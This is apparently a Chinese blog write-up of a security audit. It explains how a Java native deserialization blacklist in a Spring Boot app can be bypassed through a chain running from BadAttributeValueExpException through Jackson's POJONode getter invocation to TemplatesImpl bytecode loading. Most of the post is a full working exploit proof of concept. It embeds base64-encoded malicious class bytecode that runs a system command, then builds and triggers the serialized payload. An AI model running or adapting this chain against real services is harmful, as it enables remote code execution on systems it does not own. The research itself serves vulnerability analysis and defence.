前言
在一次审计过程中发现了一处原生反序列化漏洞的点,但利用漏洞却花了很长时间,这里简要记录下。
程序是一个spring boot的应用程序,使用黑名单限制了很多原生和常见第三方库的反序列化链子, 因此只能重新从依赖中寻找可用的gadget。
最后从spring boot自带的Jackson中找到了一条。
思路
我们有一个原生反序列化的api接口 -> 寻找可以绕过黑名单的gadget -> 寻找gadget后续的依赖链
寻找可以绕过黑名单的gadget
在这一步我发现BadAttributeValueExpException这条gadget没在黑名单内, 众所周知, BadAttributeValueExpException使用toString函数
来触发后续类,因此我们后续寻找链子需要在能用toString函数触发危险操作的类中找。(这颇有点射箭之后再画靶子的感觉在😁,但是我找链子一般是先从熟悉的开始找,
实在找不到了再写程序批量扫)
(以下是BadAttributeValueExpException的readObject方法)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
|
val = valObj.toString();
这行即为触发点
寻找Jackson内的可序列化类
由上一步, 我们需要在依赖内找到可用的toString可序列化类。 看到toString函数加反序列化,熟悉的师傅可能会马上联想到fastjson也由toString函数
触发原生反序列化(见https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)。
那么我们也可以很自然的想到,或许JackSon也可能存在类似的类可以触发原生反序列化。
在jackson源码包内搜索implements java.io.Serializable
或者 implements Serializable
, 得到的类逐一排查,找到了一个符合要求的类–POJONode
POJONode
POJONode继承自抽象类ValueNode, ValueNode继承自BaseJsonNode, BaseJsonNode 有一个toString方法,
1
2
3
4
|
@Override
public String toString() {
return InternalNodeMapper.nodeToString(this);
}
|
存在一个InternalNodeMapper.nodeToString
的方法。
这个方法干了啥呢, 举个例子, 我们有如下这个类:
1
2
3
4
5
6
7
8
9
10
11
12
|
class A implements java.io.Serializable{
private String b;
public String getB() {
System.out.println("aaaaa");
return b;
}
private void readObject(){
System.out.println("bbbbb");
}
}
|
如果我们把它实例化并且传入POJONode中
1
2
3
|
A aa= new A();
POJONode pojoNode = new POJONode(aa);
pojoNode.toString();
|
在调用pojoNode.toString();
后,发现getB函数被调用, 猜测是POJONode toString 类是会自动调用get函数。
调试一波, 在BaseJsonNode的toString函数处打个断点,逐步调试下去。

前面都是些拿值取值的操作,一直到BeanPropertyWriter类的serializeAsField

看688行, 其中_accessorMethod是getB函数, bean是我们实例化的A类,在此处调用A实例的getB函数。
全部调用栈如下:

执行命令
既然能触发get方法的调用了,那么可以通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码,最终触发恶意方法调用。
利用demo如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class JacksonSerialize {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1" +
"bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNo" +
"ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUB" +
"AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUv" +
"eGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs" +
"L2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2Vy" +
"aWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJj" +
"ZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACAB" +
"ABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv" +
"eHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
"L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEA" +
"EWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEA" +
"BGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAA" +
"AAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAAQAAQAMAAEABwAN" +
"AAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAA4ADwACAAkAAAAu" +
"AAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABEABAASAA0AEwALAAAABAABABAA" +
"AQARAAAAAgAS");
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,pojoNode);
ObjectStreamClass objectStreamClass = ObjectStreamClass.lookup(POJONode.class);
Field field = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
field.setAccessible(true);
field.set(objectStreamClass, null);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(poc);
baos.flush();
FileOutputStream fos = new FileOutputStream(new File("myFile"));
baos.writeTo(fos);
File file = new File("myFile");
byte[] fileBytes = new byte[(int)file.length()];
FileInputStream fis = new FileInputStream(file);
fis.read(fileBytes);
fis.close();
ByteArrayInputStream bais = new ByteArrayInputStream(fileBytes);
new ObjectInputStream(bais).readObject();
}
}
|
总结
通过BadAttributeValueExpException反序列化时会自动调用的toString函数, 我们找到了在JackSon内的POJONode的toString会自动调用bean的
get方法, 通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码,最终触发恶意方法调用。